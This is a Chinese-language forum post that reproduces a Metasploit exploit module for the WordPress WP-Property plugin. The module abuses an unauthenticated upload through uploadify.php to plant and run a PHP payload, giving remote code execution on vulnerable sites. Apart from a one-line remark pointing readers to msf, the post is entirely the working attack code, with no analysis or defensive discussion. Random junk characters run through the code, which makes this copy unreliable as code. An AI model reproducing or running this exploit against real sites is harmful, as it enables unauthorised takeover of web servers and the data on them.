找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2597|回复: 0
打印 上一主题 下一主题

WordPress WP-Property PHP 文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:51:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
WordPress WP-Property PHP 文件上传漏洞
0 M) T* k9 z& k. ^" L( \# n  _# s2 x1 t) I' n) n! X
## # This file is part of the Metasploit Framework and may be subject to% k* D0 K2 y1 C2 h3 I! T

; X2 R9 ~! ^" J2 _5 X# redistribution and commercial restrictions. Please see the Metasploit* c4 }* B! J- Y1 A4 P; h
% h2 y( |% e0 d4 Y1 @$ z7 ]
# Framework web site for more information on licensing and terms of use.  s. A4 S+ @/ M- X, \3 Y

' k) \3 V( U5 ]! w#   http://metasploit.com/framework/ ##
$ x8 _6 A2 Q$ _/ |: O- B
& s3 J6 c* E# ~) g# E/ y* H, T. h
8 K  g1 ]0 C8 m$ {# s4 S3 l
. d% c+ X/ F0 B
+ a. l1 u/ R( }8 ^8 O( `* Q% O
8 X' g& G# ~/ Mrequire 'msf/core'/ U# l6 R5 A; s5 `: K4 f
require 'msf/core/exploit/php_exe'  D, N1 l( h0 x$ u0 ]4 @! A
3 d& F* o- N. v7 L5 ^& d
class Metasploit3 < Msf::Exploit::Remote     Rank = ExcellentRanking       include Msf::Exploit::Remote::HttpClient     include Msf::Exploit:hpEXE       def initialize(info = {})         super(update_info(info,             'Name'           => 'WordPress WP-Property PHP File Upload Vulnerability',
4 M1 g& \# C3 v  ~'Description'    => %q{9 I) }, b& h7 Q; |
This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress                 plugin. By abusing the uploadify.php file, a malicious user can upload a file to a                 temp directory without authentication, which results in arbitrary code execution.             },             'Author'         =>
+ k, \  v. T* c% j[6 \, j0 L, l# L% H) f1 y( {
'Sammy FORGIT', # initial discovery- ~5 k' ?5 x- ^7 o# J8 F8 C
'James Fitts <fitts.james[at]gmail.com>' # metasploit module: S* B% q: H/ `0 z2 @
],
0 q5 g7 p$ m8 H" y9 B( ~7 K# ['License'        => MSF_LICENSE,
4 e% e0 @  z. l* i' I& A'References'     =>
) j# a2 k* s# P[
. ~; C  F) s! x) a; v  d7 h1 ~" Z[ 'OSVDB', '82656' ],
0 l: }) ?* T0 Q2 I) c+ }% F2 k, z[ 'BID', '53787' ],+ u+ o$ R3 u5 {
[ 'EDB', '18987'],
# X+ i2 |& [8 z0 w& i[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]
* @; [2 Y. o& {6 y: ^],3 K! r" c1 M* i, R1 O
'Payload'        =>
" l$ d3 J% s" k3 g9 i8 Z{
  u- F+ O. S% t) T; H3 y'BadChars' => "\x00",
3 E# s2 T" O, T5 I+ @# g},! c2 n( [9 W$ y  r& c+ }
'Platform'       => 'php',2 ]4 S  }: g# y; K$ S% n6 o
'Arch'           => ARCH_PHP,9 I! ~! f0 z) M" Y/ R& ^
'Targets'        =>
  H. u2 B( i9 U[; o$ U# c7 ?# g
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],2 r9 D0 f- M. R9 Z# F( B$ N
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
& J9 H* }! V8 F# p$ y2 ]],
; `3 e8 h' ]1 o: b  P, I) K'DefaultTarget'  => 0,
$ v! M. C5 Z, d$ m# }' D'DisclosureDate' => 'Mar 26 2012'))
; ^% \9 ]& l0 Q- a: s* \* d
5 e5 r$ j% |3 Q- w  x% C) V5 pregister_options(
- g( c! m: k  r, S1 J4 Z3 ^1 O[
8 i0 b$ k1 ]- N# W" K1 L# w/ uOptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])- d% G. o8 h  Z0 @' e" U4 n
], self.class)# r- }0 @4 k. d4 E& r
end
* f: B: ~, }0 }4 x: E$ Y
7 Z2 h% ?, a; V2 W; Zdef check
7 i% z4 c1 M. Ruri =  target_uri.path
3 T6 j$ ^) C4 v  k" V! auri << '/' if uri[-1,1] != '/'           res = send_request_cgi({             'method' => 'GET',
. d$ o3 d4 E0 V'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"
3 y1 O. u7 [0 V0 r/ W+ u})  f) X" q3 z: J5 Z+ M5 Y. N

! m1 {. P# ?5 ?, B9 f+ Uif not res or res.code != 200
" S9 u# P9 L: N& Qreturn Exploit::CheckCode::Unknown: N( `3 c7 z9 G( |) W* Q9 O' [. A
end. V2 G, B, l$ K  T
: o+ q$ ?( z* p
return Exploit::CheckCode::Appears
$ j2 Q) D- p. t0 h% f: H- Xend; r5 [0 d- R; K% a# N& A
# Z# J  C. E/ ?7 v6 v! J' B7 K
def exploit: B2 P+ d* X- g7 q5 d1 ^$ r/ B
uri =  target_uri.path
8 `& F: f: [7 i: d* I; L" x1 ]uri << '/' if uri[-1,1] != '/'           peer = "#{rhost}:#{rport}"           @payload_name = "#{rand_text_alpha(5)}.php"         php_payload = get_write_exec_payload(:unlink_self=>true)) K& X6 u0 L6 S0 {- I

/ R' X' |' b. wdata = Rex::MIME::Message.new
6 Z) N$ T) k$ y; k9 [: o, idata.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")9 l  s+ C7 p% A
data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")/ i0 ~6 G  `4 S2 Z7 v" j1 b
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
/ [) |# m" h) ^3 e6 B# W# a8 A9 H, M
print_status("#{peer} - Uploading payload #{@payload_name}")
( B" w2 s/ a& G6 L1 }3 a. t' Cres = send_request_cgi({
+ a3 R; q2 _6 l2 t  Q: `'method' => 'POST',
1 _7 o, d; g8 p'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",
7 w( a7 \: d$ b0 q'ctype'  => "multipart/form-data; boundary=#{data.bound}",3 u* p4 ?- O6 k5 D" X
'data'   => post_data& D) ]' L: A$ m/ E  K  Y9 I
})* G) I3 h, J1 q3 u

0 e6 T0 q7 P- ^) c* t3 e2 ^6 Eif not res or res.code != 200 or res.body !~ /#{@payload_name}/
- x" d3 X& N5 b/ i) |fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")2 _3 ?+ @$ ], m/ G* p$ v
end
6 J) y- Q- d% F1 R; E" @  e0 N' y7 x6 D$ H
upload_uri = res.body3 W2 f- V4 ^: A" G& C

9 o9 B2 p& j) q4 t4 I) gprint_status("#{peer} - Executing payload #{@payload_name}")8 M* N% E1 A5 j3 }" h: e  o* J
res = send_request_raw({
# ^+ p8 W$ j1 |6 o2 v0 ~# J'uri'    => upload_uri,- \8 k- u+ i  u7 {
'method' => 'GET': f/ i9 Q6 c# J& w$ j' T3 {
})
- Z* V4 j5 c( i# w8 @  nend
1 B9 S) Z) K* E. [end: k- `6 |9 \4 J$ ]0 O# m
* C! k+ b4 t& R" s
不要问我这写的是什么 怎么利用 我是说msf.
# J2 m/ E0 h7 U
% C4 @0 O8 c9 C- e# m
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表